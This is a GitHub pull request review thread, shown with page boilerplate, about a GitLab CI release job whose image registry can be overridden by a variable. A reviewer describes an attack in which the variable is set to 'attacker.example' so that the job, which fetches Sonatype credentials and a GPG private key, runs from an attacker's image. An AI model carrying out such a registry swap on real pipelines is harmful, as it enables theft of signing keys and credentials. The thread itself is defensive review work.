Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
For this manual release job, GitLab supports CI/CD variables in
imageand manual/pipeline variables have higher precedence than top-level.gitlab-ci.ymldefaults, so a user who can start the job with variables can setREGISTRY=attacker.exampleand make the secret-fetching release job run fromattacker.example/images/mirror/maven:.... Because the script then retrieves Sonatype credentials and the GPG private key from SSM, keep this image reference fixed to the trusted registry instead of using an externally overrideable variable.Useful? React with 👍 / 👎.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I guess this is a concern. Is there a reason we can't just hardcode
$REGISTRY?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Easier to maintain if this needs to change. Users with access to Gitlab to run the pipeline will likely have write access, I'm not sure this would actually protect us from anything.